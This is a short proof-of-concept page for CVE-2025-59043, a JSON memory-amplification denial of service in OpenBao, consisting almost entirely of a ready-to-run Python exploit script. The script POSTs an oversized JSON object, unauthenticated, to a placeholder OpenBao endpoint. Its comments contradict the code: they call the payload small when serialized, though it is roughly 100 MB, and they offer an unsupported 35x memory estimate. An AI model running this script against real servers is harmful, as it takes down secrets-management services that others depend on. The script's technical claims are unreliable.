CVE-2025-59043 OpenBao JSON反序列化内存放大拒绝服务漏洞

# CVE-2025-59043 PoC - OpenBao JSON Memory Amplification DoS # This PoC demonstrates how to craft a JSON payload that bypasses # max_request_size but causes significant memory consumption after deserialization. import json import requests TARGET_URL = "https://openbao-target.example.com/v1/sys/mounts" KEY_COUNT = 100000 # Number of duplicate keys to amplify memory usage def craft_bomb_payload(key_count): """ Create a JSON payload that is small in serialized form but consumes significantly more memory when deserialized into a Go map. """ payload = {} # Using a single key with a large string value can also amplify memory # due to Go's string interning and map overhead large_string = "A" * 1024 # 1KB string per entry for i in range(key_count): # Each unique key adds overhead for hash computation and map bucket allocation payload[f"key_{i}_padding_to_make_it_longer_{'x'*50}"] = large_string return payload def exploit(target_url): headers = {"Content-Type": "application/json"} payload = craft_bomb_payload(KEY_COUNT) # Serialize - this will be checked against max_request_size serialized = json.dumps(payload) print(f"[*] Serialized payload size: {len(serialized)} bytes") print(f"[*] Estimated deserialized memory: ~{len(serialized) * 35} bytes") # Send the request - no authentication required response = requests.post(target_url, headers=headers, data=serialized) print(f"[*] Response status: {response.status_code}") print(f"[*] Response body: {response.text[:500]}") if __name__ == "__main__": exploit(TARGET_URL)